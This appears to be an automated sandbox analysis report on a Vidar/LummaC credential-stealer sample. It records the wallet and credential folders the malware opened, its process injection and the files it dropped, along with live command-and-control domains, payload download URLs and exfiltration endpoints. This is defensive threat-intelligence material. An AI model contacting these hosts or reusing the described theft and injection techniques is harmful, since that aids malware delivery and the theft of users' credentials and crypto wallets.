Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Directory queried: number of queries: 1001
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 0.2.file.exe.3a95570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3a95570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C330C40 sqlite3_bind_zeroblob, 3_2_6C330C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C330D60 sqlite3_bind_parameter_name, 3_2_6C330D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C258EA0 sqlite3_clear_bindings, 3_2_6C258EA0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1518570 Sample: file.exe Startdate: 25/09/2024 Architecture: WINDOWS Score: 100 67 yalubluseks.eu 2->67 69 vozmeatillu.shop 2->69 71 11 other IPs or domains 2->71 93 Suricata IDS alerts for network traffic 2->93 95 Found malware configuration 2->95 97 Antivirus detection for URL or domain 2->97 99 14 other signatures 2->99 10 file.exe 2 2->10         started        14 MFDBG.exe 2->14         started        16 MFDBG.exe 2->16         started        signatures3 process4 file5 63 C:\Users\user\AppData\Local\...\file.exe.log, CSV 10->63 dropped 113 Contains functionality to inject code into remote processes 10->113 115 Writes to foreign memory regions 10->115 117 Allocates memory in foreign processes 10->117 119 Injects a PE file into a foreign processes 10->119 18 RegAsm.exe 1 177 10->18         started        23 conhost.exe 10->23         started        25 WerFault.exe 14->25         started        27 WerFault.exe 16->27         started        signatures6 process7 dnsIp8 73 cowod.hopto.org 45.132.206.251, 49745, 80 LIFELINK-ASRU Russian Federation 18->73 75 5.75.211.162, 443, 49711, 49712 HETZNER-ASDE Germany 18->75 77 2 other IPs or domains 18->77 53 C:\Users\user\...\66f424e80b9cc_idsmds[1].exe, PE32 18->53 dropped 55 C:\Users\...\66f4247d51812_lfdsjna[1].exe, PE32 18->55 dropped 57 C:\ProgramData\softokn3.dll, PE32 18->57 dropped 59 7 other files (5 malicious) 18->59 dropped 101 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 18->101 103 Found many strings related to Crypto-Wallets (likely being stolen) 18->103 105 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 18->105 107 5 other signatures 18->107 29 KKEBKJJDGH.exe 1 5 18->29         started        33 EBGDHJECFC.exe 18->33         started        35 cmd.exe 18->35         started        file9 signatures10 process11 file12 65 C:\Users\user\AppData\Local\...\MFDBG.exe, PE32 29->65 dropped 121 Multi AV Scanner detection for dropped file 29->121 123 Machine Learning detection for dropped file 29->123 37 MFDBG.exe 15 1004 29->37         started        125 Writes to foreign memory regions 33->125 127 Allocates memory in foreign processes 33->127 129 Injects a PE file into a foreign processes 33->129 131 LummaC encrypted strings found 33->131 42 RegAsm.exe 33->42         started        44 conhost.exe 33->44         started        46 conhost.exe 35->46         started        48 timeout.exe 35->48         started        signatures13 process14 dnsIp15 79 yalubluseks.eu 188.114.96.3, 443, 49738, 49741 CLOUDFLARENETUS European Union 37->79 81 api.ipify.org 104.26.12.205, 49740, 49743, 80 CLOUDFLARENETUS United States 37->81 61 C:\Users\user\AppData\Local\...\FDWDZ.exe, PE32 37->61 dropped 109 Multi AV Scanner detection for dropped file 37->109 111 Machine Learning detection for dropped file 37->111 50 FDWDZ.exe 37->50         started        83 performenj.shop 104.21.51.224, 443, 49762 CLOUDFLARENETUS United States 42->83 85 drawzhotdog.shop 104.21.58.182, 443, 49746, 49751 CLOUDFLARENETUS United States 42->85 87 3 other IPs or domains 42->87 file16 signatures17 process18 signatures19 89 Multi AV Scanner detection for dropped file 50->89 91 Machine Learning detection for dropped file 50->91
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.51.224
 performenj.shop United States
13335 CLOUDFLARENETUS true
104.21.77.130
 reinforcenh.shop United States
13335 CLOUDFLARENETUS true
104.26.12.205
 api.ipify.org United States
13335 CLOUDFLARENETUS false
172.67.132.32
 gutterydhowi.shop United States
13335 CLOUDFLARENETUS true
147.45.44.104
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
104.21.58.182
 drawzhotdog.shop United States
13335 CLOUDFLARENETUS true
45.132.206.251
 cowod.hopto.org Russian Federation
59731 LIFELINK-ASRU true
188.114.97.3
 fragnantbui.shop European Union
13335 CLOUDFLARENETUS true
188.114.96.3
 stogeneratmns.shop European Union
13335 CLOUDFLARENETUS true
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS true
5.75.211.162
 unknown Germany
24940 HETZNER-ASDE true

Contacted Domains

Name IP Active
fragnantbui.shop 188.114.97.3 true
performenj.shop 104.21.51.224 true
gutterydhowi.shop 172.67.132.32 true
cowod.hopto.org 45.132.206.251 true
offensivedzvju.shop 188.114.97.3 true
drawzhotdog.shop 104.21.58.182 true
ghostreedmnu.shop 188.114.97.3 true
steamcommunity.com 104.102.49.254 true
stogeneratmns.shop 188.114.96.3 true
reinforcenh.shop 104.21.77.130 true
api.ipify.org 104.26.12.205 true
vozmeatillu.shop 188.114.96.3 true
yalubluseks.eu 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
reinforcenh.shop true
  • Avira URL Cloud: malware
 unknown
stogeneratmns.shop true
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/mozglue.dll true
  • Avira URL Cloud: safe
 unknown
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe false
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/freebl3.dll true
  • Avira URL Cloud: safe
 unknown
https://reinforcenh.shop/api true
  • Avira URL Cloud: malware
 unknown
ghostreedmnu.shop true
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/vcruntime140.dll true
  • Avira URL Cloud: safe
 unknown
http://api.ipify.org/ false
  • Avira URL Cloud: safe
 unknown
https://yalubluseks.eu/receive.php true
  • Avira URL Cloud: safe
 unknown
https://steamcommunity.com/profiles/76561199724331900 true
  • URL Reputation: malware
 unknown
https://vozmeatillu.shop/api true
  • Avira URL Cloud: malware
 unknown
fragnantbui.shop true
  • Avira URL Cloud: malware
 unknown
https://offensivedzvju.shop/api true
  • Avira URL Cloud: malware
 unknown
offensivedzvju.shop true
  • Avira URL Cloud: malware
 unknown
drawzhotdog.shop true
  • Avira URL Cloud: malware
 unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe false
  • Avira URL Cloud: malware
 unknown
vozmeatillu.shop true
  • Avira URL Cloud: malware
 unknown
https://drawzhotdog.shop/api true
  • Avira URL Cloud: malware
 unknown